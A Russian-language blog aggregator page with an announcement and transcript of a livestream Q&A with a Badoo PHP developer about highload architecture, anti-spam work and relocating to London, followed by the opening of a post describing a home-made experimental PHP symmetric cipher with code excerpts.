Русский
Русский
English
Статистика
Реклама

Php

Анонс как создаются Highload проекты на PHP

27.07.2020 16:04:10 | Автор: admin


Вы просили, и мы сделали! Теперь наши прямые эфиры проходят во всех соцсетях сразу завтрашний стрим можно будет посмотреть на нашем youtube-канале, в ВК, Facebook и в Инстаграме



Завтра, 28 августа, в 20:00 пройдет прямой эфир с Александром Высоцким ведущим PHP-разработчиком в лондонском офисе Badoo, работает в команде антиспама. Ну что, готовы поговорить про PHP?



Саша ответит на ваши вопросы, а также расскажет:

  • Как PHP позволяет быстро разрабатывать масштабируемый проект и почему он подходит для решения именно их задач.
  • Почему Badoo использует не микросервисы, а монолит.
  • Как релизиться два раза в день, когда у тебя два продукта на нескольких платформах и сотни версий клиента.
  • О специфике работы инженера в антиспам-команде: ML, очень много данных и создание инструментов для других команд.
  • PHP и MySQL: что делать для оптимизации производительности бэкенда.
  • Как перевезти в Лондон жену, чтобы она поступила в университет, а не скучала дома. Налоги, местная медицина, жилье на двоих.
  • Что помогало ему каждый раз адаптироваться на новом месте.
  • Как инженеры Badoo движут русскоговорящее PHP-сообщество: конференции, митапы, блог и неформальные сходки разработчиков.



Вы можете задавать вопросы к Александру прямо здесь в комментариях, он ответит на них во время прямого эфира.

Как не пропустить эфир?



Выбирайте платформу, которая вам нравится


Нажмите кнопку Напомнить

До встречи в эфире!

Подробнее..

Как создаются Highload проекты на PHP расшифровка

08.08.2020 12:09:15 | Автор: admin


28 июля в нашем инстаграм-аккаунте и ютубе прошел прямой эфир с Александром Высоцким ведущим PHP-разработчиком в лондонском офисе Badoo, который работает в команде антиспама. Саша рассказал о том как создаются Highload проекты на PHP, своей жизни в Лондоне и, конечно, про Badoo.

***

Меня зовут Высоцкий Александр, я работаю в компании Badoo ведущим PHP-разработчиком.
Мы делаем Badoo и Bumble это онлайн-платформы для знакомств. У нас 500 миллионов пользователей по всему миру. В команде 300 человек, у нас 2 офиса разработки в Москве и Лондоне, 20 open source-проектов и множество других внутренних инструментов.

Я родом из Саратова, там же получил профильное образование. Я закончил специалитет и аспирантуру на Факультете компьютерных наук и информационных технологий СГУ. К моменту окончания аспирантуры успех поработать на позиции backend- разработчика в разных областях, от туристической сферы до игр. В середине 2016 основной проект завершился, и передо мной возник вопрос: что делать дальше искать что-то новое в Саратове, переехать в Москву или Санкт-Петербург или податься в зарубежные компании? Тогда я уже знал о Badoo, и сделал apply на открытую позицию в лондонский офис. Правда, мне не хватило опыта и знаний, чтобы получить offer, но параллельно мне пришли предложения о работе из Германии и Нидерландов, и я решил вместе с супругой переехать и работать в немецкой компании. Полтора года жили в Лейпциге это город в Саксонии, в десятке крупнейших городов Германии. Я там работал над туристическими решениями. Однако желание работать в Badoo не пропало, и я подался на открытую позицию еще раз, через год. После нескольких интервью по телефону и одного on-site мне сделали offer. В начала 2019 года я релоцировался уже в Лондон.

Я хочу рассказать, каково работать на позиции backend-разработчика в Badoo, в условиях двух релизов в день, реального highload и миллиона строк кода, как адаптироваться к жизни и работе за границей и сохранить при этом семью.

Насколько бесшовен deploy в условиях монолитности?


Ответ на этот вопрос можно разделить на две части. Первая техническая реализация нашего CICD-pipeline, ее хорошо описал мой бывший коллега Юрий Насретдинов в своем докладе на HighLoad (5 способов deploy PHP-кода в условиях highload). Я его рекомендую посмотреть. Если коротко у нас есть несколько сотен серверов, которые обслуживают запросы пользователей. При deploy мы раскладываем только изменения в репозитории и атомарно переключаем symlink. Вторая проверка того, что deploy не разломает нам production. Любой код перед выкладкой проверяется с помощью unit, интеграционного и UI-теста, а также статическим анализатором, на предмет явных проблем. У нас большой и профессиональный QA-отдел, позволяющий успешно релизить 2 раза в день.

Используете ли DDD или другие архитектурные паттерны?


DDD это Domain Dream Design. Это не архитектурный паттерн скорее, а методология. Я бы не сказал, что у нас используется один конкретный подход, скорее комбинация из нескольких. Насчет паттернов в backend для решения задач используется несколько паттернов проектирования, я бы хотел выделить это подробно: наш отдел их активно разрабатывает, и они помогают нам эффективно решать задачи. Мы активно используем реализации [5:17 ???], у нас есть очень много очередей, мы отправляем миллионы событий, которые обрабатываются соответствующими консумерами. Также среди активно используемых паттернов есть модуль: большая часть нашего кода разбита на отдельные связанные инстансы, которые взаимодействуют через ограниченный открытый API.

Какие фреймворки используются?


У нас свой, внутренний фреймворк, мы не используем сторонние открытые решения.

Как PHP позволяет быстро разрабатывать масштабируемый проект, и почему он подходит для решения именно этих задач?


Объемный вопрос, я его разобью на несколько частей.

Безусловно, PHP это отличный инструмент, который позволяет нам решать задачи web-разработки. Но отношение к нему в сообществе неоднозначно, и это связано с его репутацией. С самого появления PHP бытовало мнение, что на нем очень легко писать плохой код но, по моему мнению, низкий порог входа не является недостатком. Наоборот, это позволяет приобщить к разработке широкий круг людей. Кроме того, он действительно позволяет хорошо решать задачу разработки web-приложений, и с каждой новой версией язык улучшается. PHP 7 сделал огромный шаг вперед по части performance и удобства разработки. У нас в блоге на Хабре есть отличная статья о том, как переход на эту версию позволил нам высвободить значительную часть ресурсов.

Популярность PHP в последнее время падает, и это закономерно появляются другие инструменты и языки, которые конкурируют с PHP, и многие разработчики на них переключаются. Но у нас принято подбирать инструменты под конкретную задачу, и PHP с задачей справляется.

Почему Badoo использует монолит, а не микросервисы?


Это довольно холиварный вопрос, сообщество расколото на два лагеря по этому поводу. Ни для кого не секрет, что у нас используется монолитная архитектура, и за время существования проекта мы научились бороться с минусами этого подхода и использовать все его преимущества. Кроме того, у нас есть набор сервисов (на Go, PHP, C++), которые мы активно используем в повседневной работе. Если понимать вопрос как стоит ли нам бросать все и применять все наличные ресурсы для переписывания существующего монолита под микросервисную архитектуру я считаю, что нет. У нас есть бизнес-задачи, с которыми существующее решение успешно справляется. Если будет такая необходимость, мы это сделаем, но, как я уже говорил, мы выбираем инструмент в соответствии с решаемой задачей.

Как релизиться 2 раза в день, когда у тебя 2 продукта на нескольких платформах и сотни версий клиента?


У нас очень короткий релиз-цикл и, действительно, два deploy в день. Нам очень важно поддерживать качество работы нашего продукта на высоком уровне мы не хотим выкатывать в production баги/фаталы. Поэтому на первое место выходит тестирование фичей, которые катятся на production. Я уже упоминал о том, что у нас есть большой набор инструментов для тестирования каждого релиза, и это позволяет нам выкатывать минимальное количество багов/фаталов на production. Кроме того, у нас есть подход, который связан с тем, что каждый backend-разработчик отвечает и заинтересован в том, чтобы его фича на backend запустилась без каких-либо дополнительных действий со стороны его отдела и со стороны frontend и mobile-команд. Может быть такая ситуация, когда у тебя есть тикет на разработку backend-фичи, ты ее релизишь на production, но она реально начинает использоваться только через какое-то время. И тогда к тебе приходят QA-инженеры и спрашивают, почему она не работает. Поэтому мы на стороне backend при релизе функционала покрываем его максимальным количеством тестов, моков и QAP, чтобы быть на 100% уверенными в том, что все, что мы катим на 100% рабочее.

Стоит ли идти в крупную компанию из фриланса на меньшую ЗП, если до этого не было опыта работы в крупной компании?


Дисклеймер: вы можете зайти на наш сайт tech.badoo.com, где мы выкладываем текущие вакансии. Может быть, попадется что-то по душе, и вы попробуете сделать apply.

Тут вопрос, скорее, не про зарплату, а про процессы, связанные с переходом в крупную компанию. Если заниматься фрилансом значит, ты сам для себя устанавливаешь рабочий день и строишь рабочие процессы, которые тебе позволяют доводить задачи до конца. В компании все по-другому: жесткие дедлайны, гораздо больше коммуникаций как между коллегами в команде, так и между командами. Нужно подумать, подходит ли такой темп и формат работы для тебя, и принимать решение, исходя из этого. А насчет зарплаты надо смотреть на перспективу. Если сейчас отказаться от большой зарплаты на фрилансе и перейти на меньшую, в компанию, то впоследствии зарплата может вырасти сильнее благодаря опыту в индустрии.

Расскажите, были ли такое, что production не выдерживал highload и как с этим боролись?


На моей памяти не было. У нас опытные инженеры, наш продукт разрабатывается уже более 15 лет, и у компании огромный опыт именно highload-разработки. Мы нацелены на то, чтобы performance наших приложений был на максимуме.

Какие плюшки в Badoo относительно мелких компаний?


Об этом лучше прочитать на нашем сайте, там лучше написано, чем я могу перечислить. Но основные моменты, которые не могут не радовать это DMS, компенсация фитнеса, завтраки-обеды-ужины в компании, качественная рабочая техника.

Чем вы тестируете API?


У нас есть unit-тесты и целый фреймворк для запуска большого количества тестов параллельно, с минимальными затратами времени. Подробно об этом можно прочитать в статье Владимира Янца в нашем блоге, он хорошо и подробно описал эту тему. Если говорить о UI-тестах мы используем Bash для их запуска, чтобы проверять корректность работы UI.

Расскажи о специфике работы инженера в антиспам-команде. Machine learning, очень много данных, создание инструментов для других команд.


Да, я работаю в команде антиспама. Исходя из названия, может показаться, что мы занимаемся одним только антиспамом, но это далеко не так. Наша цель обеспечить самый лучше экспириенс от использования наших приложений. Для нас очень важна задача защиты пользователя, и на это выделяется большое количество ресурсов и усилий.
Если обобщить, мы занимаемся борьбой с недоброжелательными юзерами: теми, кто рассылает спам, занимается мошенничеством и портит опыт от использования приложений. Мы активно используем ML. Я, конечно, не могу вдаваться в детали, чтобы не облегчать жизнь спамерам, но вот несколько примеров.

У нас есть модель для детекта spam/scam. Мы сделали тулзу для анализа мобильного трафика для параллельной команды. Также у нас в компании используются нейросети для жестовой фото-верификации и при отправке непристойных фотографий в мессенджере. Недавно наши коллеги запустили т/н dick pic detector для защиты от нежелательного контента в личных сообщениях (пользователь может выбирать, хочет ли он получать такой контент).

PHP и MySQL что делать для оптимизации производительности backend?


Здесь затрагивается стек, который используется в компании, и производительность, поэтому я также разобью ответ на две части.
Насчет стека: благодаря тому, что в Badoo большое количество отделов и команд, мы используем максимально широкий набор технологий начиная от PHP, MySQL, Nginx, Go, C++ и заканчивая Tarantool, LUA и Scala. Каждая команда выбирает инструмент для эффективного решения поставленной задачи. Так как мы работаем в условиях highload и обрабатываем десятки тысяч запросов в секунду, критичным становится вопрос performance нашего backend.

Теперь стоит упомянуть об инструментах, которые были созданы внутри компании и были выложены в open source. Первый инструмент это Pinba (PHP is Not a Bottleneck Anymore). Это инструмент для сбора статистики и мониторинга производительности приложения без импакта на его performance, и для представления собранных данных в human-friendly виде. Следующий Codeisok: инструмент для управления git-репозиториями и проведения code review. Мы активно юзаем нашу внутреннюю наработку, и перед тем, как фича переходит в master, мы применяем лучшие практики code review (о них тоже можно прочитать в нашем блоге), чтобы до production доезжал максимально эффективный код. Еще один инструмент, который позволяет нам трекать performance каждого отдельного участка кода это LifeProf: он позволяет в автоматическом режиме профилировать все запросы. Все эти инструменты (и даже больше) можно найти в нашем Github-репозитории.

Как перевести в Лондон жену, чтобы она поступила в университет, а не скучала дома? Налоги, местная медицина, жилье на двоих.


Очень широкая тема. У меня есть опыт жизни в Германии и Англии, и он отличается, но я расскажу про Лондон.
Переезд это испытание. Ты выходишь из привычной среды, рядом с тобой нет друзей, родственников, родителей, с которыми ты привык общаться каждый день. Это определенный удар для тебя и для супруги, для семьи в целом. Тут важно найти выход из этого состояния. Рецепт, который нашли мы это максимально быстрая интеграция в новое общество. В Германии очевидным барьером был язык мы всегда учили английский, а тут предстояло влиться в немецкое общество; это требовало усилий, и было стрессово, но за 1.5 года жизни в Германии мы смогли достигнуть высокого уровня языка, уча его каждый день. В Лондоне такой проблемы не стояло, и опыт жизни в иностранном государстве уже был.
Компания Badoo оказывала максимальную поддержки при переезде в вопросах поиска первой квартиры, в общении с налоговой. Это позволяло легко влиться в жизнь в Лондоне.

Налоги: в Англии прогрессивная шкала, доход делится на группы по возрастанию, и с каждой группы снимается своя ставка.
Медицина это еще один холиварный вопрос. Кто-то говорит, что с ней все в порядке, кто-то не согласен. У меня был положительный опыт.
Поиск жилья это отдельная история. Сложно найти хорошее жилье, его слишком быстро разбирают; кроме того, перед тем, как получить квартиру внаем, нужно пройти определенную проверку. В моем случае были даже звонки в Германию тем людям, у которых мы снимали жилье спрашивали, насколько я хороший квартиросъемщик.

Моя супруга всегда хотела учиться на дизайнера, и планирует поступать. Здесь мы нашли курсы, которые подошли; она как раз учила язык и сдавала тест IELTS, чтобы поступить на бакалавриат интерьерного дизайна. Очень широкий набор учебных заведений, но нужно помнить, что для иностранцев стоимость обучения в несколько раз выше, чем для местных.

Как контролировать усилие, усидчивость, самомотивацию, прокрастинацию?


Не секрет, что из-за пандемии большая часть IT-компаний перешла на работу из дома. Для меня было сложно перестроиться на другие рельсы, но я выделил для себя несколько моментов.

Во-первых, нужен жесткий контроль рабочего времени. Можно сообщить всем коллегам, что с 9 до 18 ты работаешь и доступен во всех мессенджерах, а вне этого времени не отвечать на запросы. К этому все относятся с пониманием. Когда ты работаешь из дома, сложно разделить работу и семью, но для сохранения психологического настроя и отношений в семье это очень важно.
Самомотивация и прокрастинация. Очень многие статьи на Хабре говорят, что прокрастинация это нормально, но, когда ее много это плохо. Когда мне попадается большая задача, я делю ее на много маленьких, и тогда новая страшная фича уже не кажется страшной, и ее можно без проблем зарелизить.

Используете ли вы ORM или прямое взаимодействие с хранилищем? Почему?


Я уже упоминал, что у нас свой собственный фреймворк. Мы используем собственную реализацию ORM.

В Штатах офис не планируете?


У нас есть офис в США, там хостится Bumble в городе Остин, штат Техас. Но там нет инженерной команды, и пока неизвестно, будем ли мы расширяться.

Что помогало адаптироваться каждый раз на новом месте?


Главная поддержка всегда находится внутри семьи. В нашем случае мы с супругой поддерживали друг друга, и это помогло нам преодолеть все первоначальные трудности. Кроме того, мне каждый раз везло с командой у меня очень крутые коллеги, они всегда поддерживают и слово, и делом, делятся опытом, на первых порах могут вместе с тобой сходить и решить проблему. В общем, хорошая семья и хорошие коллеги это на вес золота.

Как инженеры Badoo движут русскоговорящее PHP-сообщество? Конференции, митапы, блог, неформальные сходки.


Badoo активно проводит и участвует в большом количестве профильных событий. Это заложено в культуре компании и в культуре наших инженеров. Разработчики постоянно делятся наработками и знаниями на внутренних и внешних митапах, встречах и конференциях.
У нас есть Badoo PHP Meetup: два раза в год, в московском офисе. На последних встречах было около 250 участников. Мой коллега Владимир Янц, о котором я уже говорил, развивает неформальные встречи в Москве BeerPHP Moscow. У него уже есть последователи в Санкт-Петербурге, Саратове и других городах. Формат, конечно, заимствован у аналогичных митапов BeerJS, но это все равно очень круто в неформальной обстановке пообщаться с единомышленниками, коллегами и просто чуваками из индустрии.

Инженеры Badoo регулярно входят в состав программного комитета единственной PHP-конференции в России, PHP Russia. В этом году ее онлайн-часть стала международной и бесплатной для всех участников, благодаря нашей компании.
Также у нас есть блоги на Хабре и Medium, где мы делимся всеми наработками (не только PHP).

Как скалируются разные куски монолита под нагрузку?


Хороший вопрос в продолжение темы о монолите и микросервисах. У нас в блоге выложена отличная презентация о performance и о том, как с архитектурной точки зрения построен наш backend я расскажу кратко. У нас есть около 600 серверов, которые обрабатывают все запросы от клиентов, и на них возложен наш монорепозиторий. При таком подходе мы обладаем некоторой гибкостью в скейлинге, добавляем новые тачки, вкладываем код и они готовы к использованию.

Расскажите подробнее о самописном фреймворке Badoo на основании чего он реализован и на что больше похож?


Этим занимается так называемая команда платформы очень крутые ребята, которые делают backend для backend и поддерживают основную часть backend-разработчиков. Они дают нам много крутых плюшек. Я уже отчасти об этом говорил например, они реализуют тот самый функционал очередей, которые широко используется в компании; они также делают облачный сервис для наших нужд.

Я бы не сказал, что он на что-то конкретное похож. Я работал с Aravel и Symfony безусловно, какие-то части есть, и мы можем использовать модули, которые находятся в open source в нашем проекте, но я не думаю, что наш git-репозиторий сильно отличается по подходам от других современных фреймворков. Мы используем пакетные менеджеры, чтобы подтягивать сторонние зависимости, используем autoloading, используем модули, чтобы инкапсулировать части кода.

Какие самые сложные задачи пришлось решать в Badoo?


Не могу выделить конкретную задачу или проект, которые были бы очень сложными. У нас есть интересные проекты, и есть очень интересные, и они все очень разные. В моей практике это все проекты, связанные с Machine Learning. Когда я учился в аспирантуре, я касался этой темы, и эта область и задачи из нее мне импонирует. Я упоминал проект, который мы делали для команды Performance Marketing, связанный с анализом трафика он был очень крутой, мы нашли и открыли много полезных инсайтов.

Используется ли в Badoo компиляция PHP?


Нет.

Репа одна, все пушат в одно место?


Да, репа одна, и все backend-инженеры пушат в одно место. У нас есть внутреннее правило нейминга веток, которые так или иначе связаны с решаемой задачей. Напрямую запушить мастер, конечно, нельзя, ветка пушится туда после успешного code review, после всех чеков и юнит-тестов, и после того, как QA-инженер, который работал над задачей вместе с тобой, сказал, что все в порядке.

Есть ли DDD в Badoo, как вы к нему относитесь?


Я уже вскользь упоминал, что в чистом виде определенной методологии у нас нет мы используем компиляцию из нескольких подходов. Если речь о моем личном отношении я поддерживаю любой подход, который позволяет эффективно решать задачи. DDD стоит того, чтобы в нее вкладываться это позволит делать приложения на новом качественном уровне.

Как Badoo работает со спамом? Простые if или уже есть ML?


Я где-то видел шутку о том, что ML это просто большая куча if/else. Но, конечно, мы используем что-то гораздо более продвинутое.
У нас есть несколько направлений использования ML, и он позволяет сильно улучшать проекты. Я уже упоминал нейросети, которые позволяют определять жест фотоверификации. Это сильно снижает нагрузку на пост-обработку верификационных фотографий, если на клиенте вводится такая предобработка то есть, детектинг того, что это действительно человек делает фотографию сейчас и он делает то, что от него попросили. Нейронки это круто.

Как именно мы работаем со спамом тема закрытая, я не могу сильно распространяться. Но мы активно боремся со спамом, мошенничеством и связанными вещами. У нас есть целое подразделение, задачей которого является решение такого рода проблем. Перед нами стоит задача свести спам/scamming и другие нежелательные вещи на нашем проекте к минимуму, это цель номер один для компании.

Как организовано взаимодействие модулей проекта? Класс к классу, или что-то более хитрое?


Хороший вопрос. Каждый модуль имеет одну точку входа, которая может инстанцироваться только через фабрику. Таким образом, предоставляется внятное API наружу для других модулей или для других фичей. Мы не раскрываем всю внутреннюю реализацию для остального проекта, оставляем только то, что хотим отдать наружу.

Правда ли, что Badoo не нанимает на работу в Англию? Не могу найти явный ответ.


До пандемии у нас были вакансии в Москве и в Лондоне. Всегда указано, в каком офисе открыта вакансия компания придерживается максимальной прозрачности в этом вопросе.

На чем реализуете ML? PHP, другой язык, какой-то фреймворк, полностью своя разработка?


У нас есть очень крутые ребята в data team. В блоге есть крутой доклад от Александра Крашенинникова к сожалению, он уже мой бывший коллега в котором рассказано, что это за команда, какие проблемы она решает, как улучшает работу Badoo и помогает нам всем. Эта команда создала свой собственный фреймворк для ML, который очень прост в использовании и доступен всем остальным командам в компании можно сказать, они уже сделали всю работу за нас. У них очень крутая реализация, отличная документация, очень прямолинейный подход работы с фреймворком.

какие используется специфичные для разных БД плюшки, используя ORM?


Не до конца понимаю вопрос, но постараюсь ответить.

Я уже говорил, что основная наша БД это MySQL, в ней хранится большая часть данных. Также мы используем Exasol, Presto, Tarantool, для специфичных задач Aerospike; то есть, у нас есть большой набор хранилищ под каждую задачу. Мы себя не ограничиваем в выборе инструмента: если использование технологии выгодно, мы ее используем. MySQL центральное место для нашего приложения, и мы используем разнообразные репликации, шардинги, чтобы эффективно держать нагрузку.

Ваш API монолит?


Да.

Пришлось работать на удаленке? Сложнее стало? Как взаимодействовали?


Да, мы до сих пор работаем на удаленке. Я уже говорил, что в начале было сложно из-за того, что ты не можешь находиться со многими коллегами в одном таймфрейме. Кто-то еще не пришел на работу, кто-то уже ушел. Требуется синхронизация между разными командами, и между коллегами. Вопросы коммуникации стало сложнее решать, и из-за того, что стало невозможно адресовать сложный вопрос напрямую коллеге, приходилось писать или звонить, что занимает гораздо больше времени, чем дойти до кого-то в офисе и задать вопрос.
Для взаимодействия у нас есть большой набор чатов, видеоконференций, которые мы используем.

Что думаете про PHP 8, планируете переходить?


Мы активно следим за каждым новым релизом PHP. Безусловно, будем использовать все возможности новой версии конечно, после того, как мы убедимся, что наш код совместим, и переход на PHP 8 даст нам больше выгоды, чем то время, которое мы потратим на сам переход. Мы определимся с переходом, когда PHP 8 выйдет.

Как я уже говорил, когда мы перешли на PHP 7, у нас высвободилось много серверов, которые мы направили на другие задачи то есть, переход на новую версию способен принести большую выгоду.

Как устроен тестинг для разработчиков? Все самому локально в docker поднимать, или что-то сложнее, на виртуальных серверах?


Еще одна ситуация, когда я не могу точно ответить.

Docker мы не используем, у нас есть общее dev-окружение, которые мы используем для разработки. Наша платформа занимается, в том числе, поддержанием нашего dev-окружения в рабочем состоянии для разработки, и там мы запускаем все тесты, раскладываем фичи, которые будем катить на production. То есть, у нас есть преднастроенное окружение.

Так и не понял, на чем ML: PHP, Python, что-то другое?


Раньше использовали Python для ML-фреймворка, но сейчас перешли на Spark это сильно повысило performance.

Как балансируете нагрузку на 600 серверов? Я правильно понимаю, что это монорепа на каждом сервере, в docker?


Монорепа на каждом сервере, но балансируется не в docker, а с помощью Nginx.

Какие у вас ожидания от кандидата на собеседовании, какие soft/hard-скиллы в среднем достаточны?


Я уже говорил, что все открытые вакансии есть на нашем сайте tech.badoo.com. Я советую никому не стесняться, не бояться, заходить и делать apply.

Очень сложно сказать, какие конкретные ожидания могут быть у компании от кандидата. Я бы сказал: если, читая описание, возникает ощущение, что ты не подходишь на эту вакансию нужно 100% делать apply. Релевантный опыт или знания можно узнать от человека в ходе нескольких раундов интервью. На мой взгляд, нужно делать apply в любом случае.

Из hardskills безусловно, нужно иметь опыт и понимание того, как работают PHP и MySQL это основные технологии, которые мы используем, стек. Это если речь идет о backend-разработке, у других отделов свой стек.

Softskills это обширная тема. На мой взгляд, значительная часть разработки связана не с написанием кода, а с общением с людьми. Очень важно задавать правильные вопросы. Если ты умеешь это делать, задача на 50% решена. Проблемы miscommunication всегда есть, но чем их меньше, тем лучше для тебя, для компании и продукта. Это стандартный набор сейчас, но умение хорошо коммуницировать, работать в команде нужно. Также для нас важно, чтобы люди умели брать на себя ответственность по доведению проекта (фичи, части функционала) до завершения.

Используете ли автогенераторы кода, для каких задач?


Используем, довольно часто. При разработке, когда нужно сгенерировать модели по какому-то описанию, заложенному в конфигах, или если есть класс, который должен реализовывать функциональность по определенному шаблону.

Как осуществляется репликация баз данных для MySQL?


Могу ответить только поверхностно.
Ни для кого не секрет, что у нас есть датацентры в Европе и США, и необходимо поддерживать между ними консистентность данных. Мы используем репликацию между основными хранилищами, чтобы поддерживать в каждом месте актуальную информацию. Из-за того, что между датацентрами может быть большой replication lag, мы используем разного рода кэши для тех задач, где не критична актуальность данных.

Junior берете, или минимум mid?


Как я уже сказал, нужно сделать apply. В ходе интервью станет понятно, достаточно ли сейчас у вас знаний и опыта, чтобы начать работать в компании, или вам стоит получить релевантный опыт и знания в другом месте и потом вернуться, как я.

Bспользуете исключения, или стараетесь избегать?


Используем. И стараемся избегать.

Test-driven development, когда сначала тесты, потом код не практикуете?


Мне кажется, на этот вопрос я буду отвечать уже опосредованно в третий раз. У нас каждая команда может использовать при разработке свой подход, и я знаю, что некоторые коллеги практикуют этот подход. Я знаю, что он работает, но сам не практикую.



Что было ранее


  1. Илона Папава, Senior Software Engineer в Facebook как попасть на стажировку, получить оффер и все о работе в компании
  2. Борис Янгель, ML-инженер Яндекса как не пополнить ряды стремных специалистов, если ты Data Scientist
  3. Александр Калошин, СEO LastBackend как запустить стартап, выйти на рынок Китая и получить 15 млн инвестиций.
  4. Наталья Теплухина, Vue.js core team member, GoogleDevExpret как пройти собеседование в GitLab, попасть в команду разработчиков Vue и стать Staff-engineer.
  5. Ашот Оганесян, основатель и технический директор компании DeviceLock кто ворует и зарабатывает на ваших персональных данных.
  6. Сания Галимова, маркетолог RUVDS как жить и работать с психиатрическим диагнозом. Часть 1. Часть 2.
  7. Илья Кашлаков, руководитель фронтенд-отдела Яндекс.Денег как стать тимлидом фронтендеров и как жить после этого.
  8. Влада Рау, Senior Digital Analyst в McKinsey Digital Labs как попасть на стажировку в Google, уйти в консалтинг и переехать в Лондон.
  9. Ричард Левелорд Грей, создатель игр Duke Nukem 3D, SiN, Blood про личную жизнь, любимые игры и о Москве.
  10. Вячеслав Дреер, гейм-дизайнер и продюсер игр с 12-летним стажем про игры, их жизненный цикл и монетизацию
  11. Андрей, технический директор GameAcademy как видеоигры помогают прокачивать реальные навыки и найти работу мечты.

Подробнее..

Recovery mode Разработка собственного алгоритма симметричного шифрования на Php

17.07.2020 02:15:28 | Автор: admin

Однажды, несколько лет назад, доводилось делать тестовое задание для трудоустройства на работу в одну компанию, где в качестве задания стояла задача разработать нестандартный алгоритм симметричного шифрования на высокоуровневом яп, идейно в чем-то непохожий на классику жанра операцию xor исходного сообщения и секретного ключа. Задание было худо бедно сделано, но сама идея создания интересного нетривиального алгоритма засела в голове надолго.
И, на данный момент из нее получилось то, что я назвал GenCoder.


Предвосхищая комментарии про особые органы и аспекты взаимоотношения с ними, в случае, если деятельность имеет отношение к криптографии, забегая вперед, скажу, что работа ведется исключительно в экспериментальных и исследовательских (некоммерческих) целях.


Собственно, исходный код класса можно посмотреть здесь, а потестировать можно тут


Итак, задача (данного исследовательского эксперимента, так его назовем) стояла следующая:


Разработать собственный алгоритм обратимого шифрования, притом что:


  • Каждый раз одно и то же сообщение будет зашифровываться уникальным образом и не повторяться.
  • Внедрить так называемую "рандомизацию" секретного ключа найти способ как шифровать сообщения не постоянно одним и тем же секретным ключом, а некой секретной строкой, являющейся функцией от секретного ключа и исходного сообщения.
  • Как маловажное дополнение, сделать переменным по длине секретный ключ при с сохранением высокой криптостойкости алгоритма (в текущей версии от 64 до 100 символов).
  • Как было сказано выше, не привязываться к существующим решениям, а сделать нечто свое, без сложной математики, с простым и понятным алгоритмом.

Поехали.


Для разработки было выбрано симметричное шифрование.


Как правило, реализации симметричного шифрования обычно делятся на две большие категории, блочные шифры и поточные шифры. Блочные шифры шифруют исходное сообщение небольшими блоками, поточные шифры шифруют сообщение целиком сопоставляя его с некой гаммой, то есть, важно также местоположение символа сообщения в исходном сообщении. Немного неуклюже сказано и на определение явно не тянет, но зато максимально доходчиво.


Описываемый здесь алгоритм более похож на поточный шифр, хотя не является им в чистом виде.
Задумывая реализацию алгоритма, в самых общих чертах было понимание, что секретный ключ должен быть лишь одним из элементов финального аккорда в симфонии шифрования, но не самим этим аккордом. То есть в идеале, говоря образно, каждое сообщение должно по хорошему как бы само шифровать себя, а ключ должен быть лишь некой стартовой точкой этого алгоритма, если хотите, неким инициализирующим вектором.
Основная идея прелесть получившегося алгоритма заключается в том, что для каждого акта шифрования не используется один и тот же секретный ключ, а генерируется функция обхода исходного ключа, так называемая сигнатура пути обхода (pathKeySignature в коде), причем функция зависит от нескольких аргументов. А именно от сложной комбинации sha-512 хешей соли приложения, исходного сообщения, уникального идентификатора uniqid, а также от хешкодов отправителя и получателя сообщения.
Что такое сигнатура обхода ключа на пальцах? Если упростить, это фактически алгоритм обхода ключа. Например, берем первый символ ключа, затем 14-ый, затем 22-ой, затем 37-ой, затем 49-ый и т.д. Каждый новый такой обход уникален (в силу уникальности генерируемого pathKeySignature).
Кроме того, в алгоритм внесены элементы двухфакторного шифрования (более подходящего термина не нашел, речь идет о коротких пин-паролях у отправителя и получателя, подробнее ниже по тексту). Далее, непосредственно "под капотом" используется обычный xor-метод.


"Двухфакторность" проявляется в том, что для генерации сигнатуры пути используются небольшие пароли (pass1 и pass2, по 4 символа), притом, что получателю неизвестен пароль отправителя, а отправителю неизвестен пароль получателя, но притом они обмениваются функциями-хешкодами от соли приложения и пароля второй стороны.


Использование вышеописанных методов позволяет сделать достаточно сложной и трудно подбираемой функцию обхода ключа. А точнее, она каждый раз будет уникальна даже для одного и того же исходного сообщения, так что хочется надеяться стандартные методы криптоанализа (например, известный метод частотного анализа) здесь окажутся бессильными.


Предварительно магия начинается здесь.


private function attachKey($message, $salt)    {        return md5(hash('sha512', $message . uniqid() . $salt) . hash('sha512', $salt));    }    private function pathKeySignature($user_code_1, $user_code_2, $attach_key)    {        return hash('sha512', $user_code_1 . $attach_key . $user_code_2);    }

Собственно, наличие md5 хеш-функции может поначалу немного смутить, но этот элемент алгоритма отвечает лишь только за внесение хаотичности, лавинности изменений (как и sha512) в генерируемый attachKey. Функция uniqid отдает нам уникальный идентификатор, что по итогу позволяет шифровать одно и то же исходное сообщение каждый раз новым шифром, что в конечном счете гуд. Зачем так заморачиваться? Представьте, что вы разрабатываете свой месседжер с шифрованием. Шифрование одних и тех же сообщений одним и тем же конечным шифром если не прямая уязвимость, то явный шаг в ее сторону. Почему? Как правило, в данном контексте пользователи обмениваются весьма однотипным набором данных, из серии "привет!", "я понял", "ок", "скоро буду", "как дела?". Допустим, к примеру, у нас такой месседжер. Канал шифрования установлен, пользователь 1 отправил пользователю 2 шифрованное сообщение "0372985dee", пользователь 2 прочел сообщение и через 5 секунд ответил "0372985dee" обратно. Что зашифровано там? Ответ почти очевиден.
Это было лирическое отступление на тему уместности uniqid, возвращаемся к коду.


Магия продолжается здесь. Собственно, здесь в методе cipher происходит непосредственно обход ключа посредством сигнатуры $path_key_signature, а метод byteShifting дополнительно вносит хаотичность в генерируемый шифр посредством добавления различных сдвигов в определенных границах.


private function cipher($path_key_signature, $message, $generateKey)    {...        for ($i = 0; $i < count($message); $i++) {            if ($sign_key >= self::hash_length) $sign_key = 0;            $key_code_pos = hexdec($path_key_signature[$sign_key]);            $cur_key_pos = $cur_key_pos + $key_code_pos;            if ($cur_key_pos >= $key_length) {                $cur_key_pos = $cur_key_pos - $key_length;            }            $shifted_key_symbol = $generateKey[$cur_key_pos];            // byte shifting            $shifted_key_symbol = $this->byteShifting($i, $shifted_key_symbol);            $shifter = $this->mb_ord($message{$i}) ^ $this->mb_ord($shifted_key_symbol);            $cipher_message .= $this->mb_chr($shifter);            $sign_key++;        }        return $cipher_message;    }

Непосредственно в публичном методе шифрования не так много интересного, ибо все интересное а ля создание присоединяемого хеша attachKey и генерация пути обхода pathKeySignature описаны выше. Разве что, стоит отметить, что к выходящему наружу в незащищенный канал шифру конкатенируется $attach_key


